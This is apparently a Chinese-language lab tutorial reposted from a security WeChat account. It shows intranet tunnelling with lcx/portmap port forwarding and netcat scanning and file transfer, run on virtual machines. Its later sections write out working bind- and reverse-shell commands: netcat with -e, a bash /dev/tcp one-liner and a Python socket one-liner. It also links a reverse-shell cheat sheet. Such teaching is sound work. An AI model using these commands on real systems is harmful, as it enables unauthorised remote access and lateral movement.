内网隧道搭建总结(一)

微信公众号:乌鸦安全

 

扫取二维码获取更多信息!

1. 环境配置

该操作在vm虚拟机中完成,提前安装了Windows7、kali linux、Windows server2008。

将虚拟机的主机关机之后,通过链接克隆的方法克隆了三台主机,其中也用到了其他临时使用的机器,但是主要还是这三台机器。

内网隧道搭建总结(一)_第1张图片

分别是win7、server2008、kali linux

内网隧道搭建总结(一)_第2张图片

因为需要从不同的角度来进行配置ip地址,所以在这里先不固定ip地址。

参考链接:

内网渗透(八) | 内网转发工具的使用

首先将两个windows下的主机防火墙关闭

内网隧道搭建总结(一)_第3张图片

windows 7 :192.168.238.13

Windows server2008 :192.168.238.14

互相ping检测:

内网隧道搭建总结(一)_第4张图片

打开winserver2008的3389远程桌面访问

内网隧道搭建总结(一)_第5张图片

然后再设置开启3389

内网隧道搭建总结(一)_第6张图片

内网隧道搭建总结(一)_第7张图片

2. 内网代理

内网代理分为以下两个部分:

内网隧道搭建总结(一)_第8张图片

正向代理:已控服务器监听端口,通过这个端口形成一个正向的隧道,由代理机器代替主机去访问内网目标。但是内网入口一般处于DMZ区域有防火墙拦截,无法直接进入内网环境。

反向代理:由内网主机主动交出权限到代理机器,然后本地去连接形成反向代理。例如:VPS监听本地端口,已控内网服务器来连接此端口,形成一个隧道。如果内网设备连接外网,就无法回弹只能再想其他办法。

3. 转发

端口转发

端口转发是转发一个网络端口从一个网络节点到另一个网络节点的行为,拿到公网shell和内网shell之后,无法直接接入目标内网,需要进行端口转发将内网的端口转发到我们的网络环境可以接入的跳板机上面从而进行连接,常见的端口转发方式有很多,例如lcx工具转发,nc反弹,socket代理, ssh隧道代理转发等等,这里暂时只对LCX工具进行介绍,其他方式后续陆续讲解。

4. LCX

Lcx是一款端口转发工具,一般使用条件:

  • 内网服务器可以出网

  • 服务器在外网,但是服务器安装了某些防护禁止敏感端口连接,如果发生这种,可以查看哪些端口允许传输数据,用这些端口将3389端口进行转发。 

内网隧道搭建总结(一)_第9张图片

4.1 windows下使用

直接使用lcx.exe在两个主机上进行使用

首先在内网机winserver2008上使用端口转发

Lcx是一种一对一的端口转发,效率比较低,而且又可能会被杀软杀掉。

lcx.exe  -slave  192.168.238.14 6666 127.0.0.1 3389

内网隧道搭建总结(一)_第10张图片

然后在攻击机上

Lcx.exe -listen 6666 7777

内网隧道搭建总结(一)_第11张图片

此时就将内网08的3389的流量转发到了VPS的7777端口上,此时使用mstsc来访问公网的7777端口,相当于访问内网的3389端口。

内网隧道搭建总结(一)_第12张图片

4.2 Linux下用

这里使用的是一台  Ubuntu 16.04  10.211.55.14

内网隧道搭建总结(一)_第13张图片

还有一台kali linux  10.211.55.23

内网隧道搭建总结(一)_第14张图片

内网隧道搭建总结(一)_第15张图片

Usage:./portmap -m method [-h1 host1] -p1 port1 [-h2 host2] -p2 port2 [-v] [-log filename]

-v: version
-h1: host1
-h2: host2
-p1: port1
-p2: port2
-log: log the data
-m: the action method for this tool
1: listen on PORT1 and connect to HOST2:PORT2
2: listen on PORT1 and PORT2
3: connect to HOST1:PORT1 and HOST2:PORT2

在设置的时候,首先要在VPS机上运行监听的端口(如果首先运行内网机的话,会一直显示连接错误)

内网隧道搭建总结(一)_第16张图片

在VPS上运行

./portmap -m 2 -p1 6666 -p2 127.0.0.1 -p2 7777

监听本地的6666端口,再将流量转发到本地的7777端口上去

内网隧道搭建总结(一)_第17张图片

在内网机Ubuntu上进行运行

./portmap -m 3 -h1 127.0.0.1 -p1 22 -h2 10.211.55.23 -p2 6666

将本地的22端口的流量转发到10.211.55.23的6666端口上去

内网隧道搭建总结(一)_第18张图片

当双方建立连接之后,VPS端就会显示现在将流量转发到7777端口上

内网隧道搭建总结(一)_第19张图片

然后在这个机器上再进行连接:

内网隧道搭建总结(一)_第20张图片

5. Netcat

Netcat 号称 TCP/IP 的瑞士军刀,kali里面是自带的,在Windows中需要单独去使用,netcat简称为nc

文件下载地址:

https://eternallybored.org/misc/netcat/

内网隧道搭建总结(一)_第21张图片

nc所具有的功能如下:

内网隧道搭建总结(一)_第22张图片

5.1 Windows下使用

使用命令nc.exe -h可以查看命令使用介绍

内网隧道搭建总结(一)_第23张图片

nc.exe -h即可看到各参数的使用方法。
基本格式:nc [-options] hostname port[s] [ports] ...
nc -l -p port [options] [hostname] [port]

-d 后台模式
-e prog 程序重定向,一旦连接,就执行 [危险!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h 帮助信息
-i secs 延时的间隔
-l 监听模式,用于入站连接
-L 连接关闭后,仍然继续监听
-n 指定数字的IP地址,不能用hostname
-o file 记录16进制的传输
-p port 本地端口号
-r 随机本地及远程端口
-s addr 本地源地址
-t 使用TELNET交互方式
-u UDP模式
-v 详细输出--用两个-v可得到更详细的内容
-w secs timeout的时间
-z 将输入输出关掉--用于扫描时

参考链接:https://blog.csdn.net/zhangge3663/article/details/84379843

5.2 端口扫描

扫描本地端口

nc64.exe -nv 127.0.0.1 80

nc64.exe -nv 127.0.0.1 3389

内网隧道搭建总结(一)_第24张图片

扫描其他的机器端口

内网隧道搭建总结(一)_第25张图片

批量扫描端口信息

nc -v -z 192.168.238.13 3389-339

内网隧道搭建总结(一)_第26张图片

据说缺点就是很慢!!!

5.3 文件传输

文件传输的时候,可以简单分为两种模式

5.3.1 先监听,再接收

首先在接收文件的机器上监听端口,再发送文件,文件直接发送到接收机的指定端口

在这里使用kali发送文件,使用winserver08进行接收文件实验

kali ip:192.168.238.15

winserver08: 192.168.238.13

08开启监听

nc.exe -l -p 7777 > get.txt

这里是接收从7777端口的数据全部写到get.txt文件里面去

内网隧道搭建总结(一)_第27张图片

在kali里面将文件传输过去

nc 192.168.238.13 7777 < 1.txt

内网隧道搭建总结(一)_第28张图片

这时候文件传输其实已经结束了,但是两个并不会直接断开,需要在08里面检测一下文件是否已经传输完成。

内网隧道搭建总结(一)_第29张图片

这里显示文件是已经传输完成了,可以在kali中使用ctrl+c结束传输,kali结束之后,08中传输自动退出

内网隧道搭建总结(一)_第30张图片

5.3.2  先发送,再接收

kali先发送文件到本地的端口上,等待接收机主动连接接收文件

先在kali上启动命令

nc -l -p 7777 < 1.txt

内网隧道搭建总结(一)_第31张图片

然后在接收文件的08上访问kali的ip地址进行接收

nc64.exe 192.168.238.15 7777 > 1.txt

同样,nc在接收完之后是不会主动停止的,需要在08上查看下文件是否接收正常。

内网隧道搭建总结(一)_第32张图片

当然还可以传文件夹或目录,有兴趣的可以去看下,而且也可以提供非常简易的聊天功能,不过这种方法比较笨拙,不推荐使用

5.4 反弹shell

反弹shell,一共有两种模式

内网隧道搭建总结(一)_第33张图片

5.4.1 正向连接shell

攻击机直接连接受害者机器

此时:

  • 受害者机器  win08  192.168.238.13

  • 攻击机 kali  192.168.238.15

在受害者机08上运行

nc64.exe -lvp 7777 -e c:\windows\system32\cmd.exe

内网隧道搭建总结(一)_第34张图片

然后在攻击机上运行

nc 192.168.238.13 7777

内网隧道搭建总结(一)_第35张图片

内网隧道搭建总结(一)_第36张图片

如果反过来

此时:

  • 受害者机器   kali  192.168.238.15

  • 攻击机 win08  192.168.238.13

在受害者机器上运行

nc -lvp 7777 -e /bin/sh

内网隧道搭建总结(一)_第37张图片

然后在攻击机上主动连接受害者机器运行

内网隧道搭建总结(一)_第38张图片

此时成功

内网隧道搭建总结(一)_第39张图片

5.4.2 反向连接shell

和上面的相反,需要受害者机器主动连接攻击机

此时:

  • 受害者机器  win08  192.168.238.13

  • 攻击机 kali  192.168.238.15

在攻击机上首先监听端口

nc -lvp 7777

内网隧道搭建总结(一)_第40张图片

然后在受害者机器上运行,主动连接攻击机

nc64.exe 192.168.238.15  7777 -e c:\windows\system32\cmd.exe

内网隧道搭建总结(一)_第41张图片

如果反过来

此时:

  • 受害者机器   kali  192.168.238.15

  • 攻击机 win08  192.168.238.13

首先在攻击机上开启监听

内网隧道搭建总结(一)_第42张图片

在受害者机器上运行

nc 192.168.238.13 7777 -e /bin/sh

内网隧道搭建总结(一)_第43张图片

攻击机上就可以运行命令:

内网隧道搭建总结(一)_第44张图片

此时成功

内网隧道搭建总结(一)_第45张图片

5.5 受害机无nc的情况

如果受害者机器没有nc的话,这里就需要使用其他的方法来反弹shell了

5.5.1 bash反弹

使用方法:

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

其中8080是端口,10.0.0.1是监听机的ip地址

此时:

  • 受害者机器   kali  192.168.238.15

  • 攻击机 win08  192.168.238.13

首先在攻击机上开启监听

nc64.exe -lvp 7777

内网隧道搭建总结(一)_第46张图片

在kali上执行bash命令

bash -i >& /dev/tcp/192.168.238.13/7777 0>&1

内网隧道搭建总结(一)_第47张图片

在kali上无法执行,应该是使用了zsh的原因,这里启一个docker来做

内网隧道搭建总结(一)_第48张图片

然后在攻击机08上就接收到了反弹的shell

内网隧道搭建总结(一)_第49张图片

5.5.2 python反弹

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.238.13",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

此时:

  • 受害者机器   kali  192.168.238.15

  • 攻击机 win08  192.168.238.13

首先在攻击机上开启监听

nc64.exe -lvp 7777

内网隧道搭建总结(一)_第50张图片

在kali上执行python反弹命令,注意:这里使用的是python2,不是python3

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.238.13",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

内网隧道搭建总结(一)_第51张图片

在攻击机就可以接收反弹的shell信息了

内网隧道搭建总结(一)_第52张图片

5.5.3 其他

http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

这里提供了很多的方法,可以进行shell的反弹

参考资料:

https://mp.weixin.qq.com/s/ma8ROHh1_giS4Yn13DEr-A
https://blog.csdn.net/wyvbboy/article/details/61921773
https://www.cnblogs.com/nmap/p/6148306.html
https://mp.weixin.qq.com/s?__biz=MzI1NTM4ODIxMw==&mid=2247487442&idx=1&sn=eaa8bbffd318c290ffd93917346f8e06&chksm=ea37f088dd40799ef6cda27c36ace8812a1ecd656ade4d3d31c833c7d5b1dad95724f0eef6d9&scene=21#wechat_redirect
https://blog.csdn.net/mtj66/article/details/74959287

微信公众号:乌鸦安全

 

扫取二维码获取更多信息!

你可能感兴趣的:(工具,安全基础,乌鸦安全,内网,代理,网络安全)